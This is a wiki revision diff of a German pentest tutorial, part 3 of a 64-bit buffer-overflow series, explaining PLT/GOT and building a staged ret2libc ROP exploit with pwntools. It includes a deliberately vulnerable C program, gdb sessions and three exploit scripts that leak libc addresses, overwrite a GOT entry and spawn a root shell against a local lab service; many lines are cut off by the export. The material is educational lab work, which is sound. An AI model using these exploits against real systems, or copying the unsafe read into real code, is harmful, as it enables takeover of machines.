Unterschiede
Hier werden die Unterschiede zwischen zwei Versionen angezeigt.
Nächste Überarbeitung | Vorhergehende Überarbeitung | ||
it-security:blog:buffer_overflow_x64-3 [2024/04/08 14:59] – angelegt psycore | it-security:blog:buffer_overflow_x64-3 [2024/09/02 08:41] (aktuell) – psycore | ||
---|---|---|---|
Zeile 1: | Zeile 1: | ||
- | {{tag>}} | + | {{tag>deutsch Linux kali it-security blog pentest}} |
====== Buffer Overflow im 64-Bit Stack - Teil 3 ====== | ====== Buffer Overflow im 64-Bit Stack - Teil 3 ====== | ||
+ | {{: | ||
+ | |||
+ | In [[it-security: | ||
+ | \\ | ||
+ | \\ | ||
+ | ===== Einleitung ===== | ||
+ | |||
+ | {{page> | ||
+ | |||
+ | ==== Theorie ==== | ||
+ | |||
+ | In Linux Systemen verwendet man üblicherweise dynamische Programmbibliotheken. Dies hat den Vorteil, dass wir nicht jede Funktion in jedem Programm neuschreiben müssen, sondern einfach auf die Funktion des Systems zugreifen können, welche z.B. in '' | ||
+ | |||
+ | === PLT und GOT === | ||
+ | |||
+ | PLT (Procedure Linkage Table) und GOT (Global Offset Table) übernehmen hierbei das Zusammenspiel beim dynamischen Linking. Die Funktion '' | ||
+ | |||
+ | In der GOT liegen nun alle '' | ||
+ | |||
+ | === Leak and Overwrite === | ||
+ | |||
+ | Um an unsere root Shell zu kommen, müssen wir nun folgendes machen: | ||
+ | |||
+ | - Wir leaken den GOT Eintrag für die Funktion '' | ||
+ | - Wir brauchen die Basis-Adresse für '' | ||
+ | - Die Adresse einer Library-Funktion erhalten wir, indem wir den jeweiligen '' | ||
+ | - In der GOT überschreiben wir eine Adresse mit der von '' | ||
+ | |||
+ | <code gdb> | ||
+ | [-------------------------------------code-------------------------------------] | ||
+ | | ||
+ | | ||
+ | | ||
+ | => 0x4011ed < | ||
+ | | ||
+ | | ||
+ | </ | ||
+ | \\ | ||
+ | \\ | ||
+ | ===== Abhängigkeiten ===== | ||
+ | |||
+ | * socat mod [[gh> | ||
+ | * pwntools ((https:// | ||
+ | |||
+ | <code bash> | ||
+ | python3 -m pip install --upgrade pip | ||
+ | python3 -m pip install --upgrade pwntools | ||
+ | </ | ||
+ | \\ | ||
+ | \\ | ||
+ | ==== C Programm ==== | ||
+ | |||
+ | Der Quellcode und die kompilierte Binary sind auch auf [[gh> | ||
+ | |||
+ | <file c bof-part3.c> | ||
+ | /* Code https:// | ||
+ | /* Compile: gcc -fno-stack-protector -no-pie bof-part3.c -o bof-part3 | ||
+ | /* Enable ASLR: echo 2 > / | ||
+ | |||
+ | #include < | ||
+ | #include < | ||
+ | #include < | ||
+ | |||
+ | void helper() { | ||
+ | asm(" | ||
+ | } | ||
+ | |||
+ | int vuln() { | ||
+ | char buf[150]; | ||
+ | ssize_t b; | ||
+ | memset(buf, 0, 150); | ||
+ | printf(" | ||
+ | b = read(0, buf, 400); | ||
+ | |||
+ | printf(" | ||
+ | write(1, buf, b); | ||
+ | return 0; | ||
+ | } | ||
+ | |||
+ | int main(int argc, char *argv[]){ | ||
+ | setbuf(stdout, | ||
+ | vuln(); | ||
+ | return 0; | ||
+ | } | ||
+ | </ | ||
+ | \\ | ||
+ | \\ | ||
+ | |||
+ | ===== Debug ===== | ||
+ | |||
+ | {{page> | ||
+ | |||
+ | ==== socat Listener starten ==== | ||
+ | |||
+ | Das mitgelieferte socat besitzt Mechanismen zum Schutz des Speichers. Im Abschnitt Abhängigkeiten gibt es eine modifizierte Version auf Github. | ||
+ | |||
+ | <code bash> | ||
+ | / | ||
+ | </ | ||
+ | \\ | ||
+ | \\ | ||
+ | ==== GOT Adresse von write ==== | ||
+ | |||
+ | Wir prüfen, wo der Pfad zur '' | ||
+ | |||
+ | <code bash> | ||
+ | ldd bof-part3 | ||
+ | linux-vdso.so.1 (0x00007ffe5d956000) | ||
+ | libc.so.6 => / | ||
+ | / | ||
+ | </ | ||
+ | |||
+ | Anschließend finden wir das Offset für '' | ||
+ | |||
+ | <code bash> | ||
+ | readelf -s / | ||
+ | 2839: 00000000000f7af0 | ||
+ | </ | ||
+ | \\ | ||
+ | \\ | ||
+ | ==== Breakpoint für write ==== | ||
+ | |||
+ | Wir müssen nun heraus finden, an welcher Stelle '' | ||
+ | |||
+ | <code gdb> | ||
+ | | ||
+ | => 0x4011ed < | ||
+ | | ||
+ | </ | ||
+ | |||
+ | Der Aufruf geschieht bei '' | ||
+ | |||
+ | <code bash> | ||
+ | echo "br *0x4011ed" | ||
+ | </ | ||
+ | \\ | ||
+ | \\ | ||
+ | ==== gdb an socat anhängen ==== | ||
+ | |||
+ | <code bash> | ||
+ | gdb -q -p `pidof socat` | ||
+ | Breakpoint 1 at 0x4011ed | ||
+ | Attaching to process 111187 | ||
+ | </ | ||
+ | \\ | ||
+ | \\ | ||
+ | ==== Verbindung mit Port 2323 ==== | ||
+ | |||
+ | Wir verbinden uns mit nc und triggern den Haltepunkt. | ||
+ | |||
+ | <code bash> | ||
+ | nc localhost 2323 | ||
+ | Enter input: 123 | ||
+ | Recv: 123 | ||
+ | </ | ||
+ | \\ | ||
+ | \\ | ||
+ | |||
+ | ==== Suche nach write GOT ==== | ||
+ | |||
+ | Ist unser Haltepunkt erreicht, suchen wir nach der '' | ||
+ | |||
+ | <code gdb> | ||
+ | gdb-peda$ x/gx 0x404000 | ||
+ | 0x404000 < | ||
+ | gdb-peda$ x/5i 0x0000000000401036 | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | </ | ||
+ | |||
+ | Wir gehen einen Schritt weiter, ohne in die Funktion reinzuspringen. Anschließend suchen wir erneut. | ||
+ | |||
+ | <code gdb> | ||
+ | next | ||
+ | gdb-peda$ x/gx 0x404000 | ||
+ | 0x404000 < | ||
+ | gdb-peda$ x/5i 0x00007f559dd76af0 | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | </ | ||
+ | |||
+ | An diesem Punkt zeigt die Adresse auf '' | ||
+ | \\ | ||
+ | \\ | ||
+ | ===== Exploit ===== | ||
+ | |||
+ | ==== Stage 1: write Adresse ==== | ||
+ | |||
+ | Also schreiben wir uns ein erstes Exploit, um '' | ||
+ | |||
+ | <file python buf3-stage1.py> | ||
+ | # | ||
+ | |||
+ | from pwn import * | ||
+ | |||
+ | pop3ret | ||
+ | bin=ELF(" | ||
+ | |||
+ | s=remote(" | ||
+ | s.recvuntil(b": | ||
+ | |||
+ | buf = b" | ||
+ | buf += p64(pop3ret) | ||
+ | buf += p64(constants.STDOUT_FILENO) | ||
+ | buf += p64(bin.got[b' | ||
+ | buf += p64(0x8) | ||
+ | buf += p64(bin.plt[b' | ||
+ | buf += b' | ||
+ | |||
+ | |||
+ | print(" | ||
+ | s.send(buf) | ||
+ | s.recvuntil(b' | ||
+ | print(" | ||
+ | |||
+ | got_leak=u64(s.recv(8)) | ||
+ | print(" | ||
+ | </ | ||
+ | |||
+ | Wir führen das Ganze aus und erhalten folgende Ausgabe | ||
+ | |||
+ | <code bash> | ||
+ | [+] Opening connection to 127.0.0.1 on port 2323: Done | ||
+ | [+] send payload | ||
+ | [+] recvd ' | ||
+ | [+] leaked write address: 0x7f6805548e80 | ||
+ | [*] Closed connection to 127.0.0.1 port 2323 | ||
+ | </ | ||
+ | |||
+ | Damit wäre die erste Adresse geleakt. | ||
+ | |||
+ | ==== Stage 2 - libc Base und system ==== | ||
+ | |||
+ | Nun benötigen wir die libc-Basis Adresse und die von '' | ||
+ | |||
+ | * $base(libc) = got(write) - offset(write)$ | ||
+ | * $address(system) = base(libc) + offset(system)$ | ||
+ | |||
+ | Die Offset Adresse erhalten wir so: | ||
+ | |||
+ | <code bash> | ||
+ | ┌──(kali㉿kali)-[~/ | ||
+ | └─$ readelf -s / | ||
+ | 1022: 000000000004c920 | ||
+ | </ | ||
+ | |||
+ | Wir überarbeiten also unser Exploit: | ||
+ | |||
+ | <file python buf3-stage2.py> | ||
+ | # | ||
+ | from pwn import * | ||
+ | |||
+ | pop3ret | ||
+ | write_off | ||
+ | system_off = 0x04c920 | ||
+ | bin=ELF(" | ||
+ | |||
+ | s=remote(" | ||
+ | s.recvuntil(b": | ||
+ | |||
+ | buf = b" | ||
+ | buf += p64(pop3ret) | ||
+ | buf += p64(constants.STDOUT_FILENO) | ||
+ | buf += p64(bin.got[b' | ||
+ | buf += p64(0x8) | ||
+ | buf += p64(bin.plt[b' | ||
+ | buf += b' | ||
+ | |||
+ | print(" | ||
+ | s.send(buf) | ||
+ | s.recvuntil(b' | ||
+ | print(" | ||
+ | |||
+ | got_leak=u64(s.recv(8)) | ||
+ | print(" | ||
+ | |||
+ | libc_base = got_leak - write_off | ||
+ | print(" | ||
+ | |||
+ | system_addr = libc_base + system_off # Berechne system Adresse | ||
+ | |||
+ | print(" | ||
+ | </ | ||
+ | |||
+ | Und nun schauen wir uns die Ausgabe an: | ||
+ | |||
+ | <code bash> | ||
+ | [+] Opening connection to 127.0.0.1 on port 2323: Done | ||
+ | [+] send payload | ||
+ | [+] recvd ' | ||
+ | [+] leaked write address: 0x7f73dc1c7e80 | ||
+ | [+] libc base is at 0x7f73dc12c340 | ||
+ | [+] system() is at 0x7f73dc178c60 | ||
+ | [*] Closed connection to 127.0.0.1 port 2323 | ||
+ | </ | ||
+ | \\ | ||
+ | \\ | ||
+ | |||
+ | ==== Stage 3 - Adresse überschreiben und Code ausführen ==== | ||
+ | |||
+ | Für den letzten Abschnitt benötigen wir einen beschreibbaren Speicherbereich. Hierzu listen wir uns die Speicherzuweisungen in gdb auf. | ||
+ | |||
+ | <code gdb> | ||
+ | gdb-peda$ info proc mappings | ||
+ | process 105836 | ||
+ | Mapped address spaces: | ||
+ | |||
+ | Start Addr End Addr | ||
+ | 0x400000 | ||
+ | 0x401000 | ||
+ | 0x402000 | ||
+ | 0x403000 | ||
+ | 0x404000 | ||
+ | 0x7f0f6fb35000 | ||
+ | </ | ||
+ | |||
+ | Der Bereich 0x404000 - 0x405000 ist beschreibbar und statisch. Das sehen wir uns genauer an. | ||
+ | |||
+ | <code gdb> | ||
+ | gdb-peda$ x/30i 0x404000 | ||
+ | ... | ||
+ | | ||
+ | | ||
+ | | ||
+ | ... | ||
+ | </ | ||
+ | |||
+ | 0x404029 sollte für unseren Zweck perfekt sein. | ||
+ | |||
+ | <file python buf3-stage3.py> | ||
+ | # | ||
+ | |||
+ | from pwn import * | ||
+ | |||
+ | pop3ret | ||
+ | write_off | ||
+ | system_off = 0x04c920 | ||
+ | writable | ||
+ | bin=ELF(" | ||
+ | |||
+ | s=remote(" | ||
+ | s.recvuntil(b": | ||
+ | |||
+ | buf = b" | ||
+ | buf += p64(pop3ret) | ||
+ | buf += p64(constants.STDOUT_FILENO) | ||
+ | buf += p64(bin.got[b' | ||
+ | buf += p64(0x8) | ||
+ | buf += p64(bin.plt[b' | ||
+ | |||
+ | # Teil 2: schreibe system Adresse in write got mittels read | ||
+ | buf+=p64(pop3ret) | ||
+ | buf+=p64(constants.STDIN_FILENO) | ||
+ | buf+=p64(bin.got[b' | ||
+ | buf+=p64(0x8) | ||
+ | buf+=p64(bin.plt[b' | ||
+ | |||
+ | # Teil 3: schreibe /bin/sh in beschreibbare Adresse | ||
+ | buf+=p64(pop3ret) | ||
+ | buf+=p64(constants.STDIN_FILENO) | ||
+ | buf+=p64(writable) | ||
+ | buf+=p64(0x8) | ||
+ | buf+=p64(bin.plt[b' | ||
+ | |||
+ | # Teil 4: rufe system auf | ||
+ | buf+=p64(pop3ret) | ||
+ | buf+=p64(writable) | ||
+ | buf+=p64(0xdeadbeef) | ||
+ | buf+=p64(0xcafebabe) | ||
+ | buf+=p64(bin.plt[b' | ||
+ | |||
+ | buf += b' | ||
+ | |||
+ | |||
+ | print(" | ||
+ | s.send(buf) | ||
+ | s.recvuntil(b' | ||
+ | print(" | ||
+ | |||
+ | got_leak=u64(s.recv(8)) | ||
+ | print(" | ||
+ | |||
+ | #s2 | ||
+ | |||
+ | libc_base=got_leak-write_off | ||
+ | print(hex(lib.symbols[b' | ||
+ | print(" | ||
+ | |||
+ | system_addr=libc_base+system_off | ||
+ | print(hex(lib.symbols[b' | ||
+ | print(" | ||
+ | |||
+ | #part 2 | ||
+ | print(" | ||
+ | s.send(p64(system_addr)) | ||
+ | #part 3 | ||
+ | print(" | ||
+ | s.send(b'/ | ||
+ | #part 4 | ||
+ | print(" | ||
+ | s.interactive() | ||
+ | </ | ||
+ | \\ | ||
+ | \\ | ||
+ | ==== Optimierungen ==== | ||
+ | |||
+ | Das Exploit mit weiteren pwntools Optimierungen und automatisiertem socat Start ist im [[gh> | ||
+ | \\ | ||
+ | \\ | ||
+ | |||
+ | ==== root Shell ==== | ||
+ | |||
+ | Wir starten socat und bof-part3 als root | ||
+ | |||
+ | <code bash> | ||
+ | su root | ||
+ | |||
+ | ┌──(root㉿kali)-[/ | ||
+ | └─# / | ||
+ | </ | ||
+ | |||
+ | und anschließend das Exploit als unpriviligierter Nutzer | ||
+ | |||
+ | <code bash> | ||
+ | ┌──(kali㉿kali)-[~/ | ||
+ | └─$ python3 buffer3.py | ||
+ | </ | ||
+ | |||
+ | Wir erhalten unsere Root Shell und haben die Kontrolle über das System. | ||
+ | |||
+ | {{: | ||
+ | \\ | ||
+ | \\ | ||
+ | ===== Repository ===== | ||
+ | |||
+ | ^ Projektdateien | {{ : | ||
+ | ^ Größe | 9,93 KB | | ||
+ | ^ Prüfsumme (SHA256) | d1212026504c7a90680e3f1e430244734695971c73f1461bed12605644c707d8 | | ||
+ | |||
+ | ===== Referenzen ===== | ||
+ | |||
+ | * [[https:// | ||
+ | |||
+ | |||
+ | ~~DISCUSSION~~ |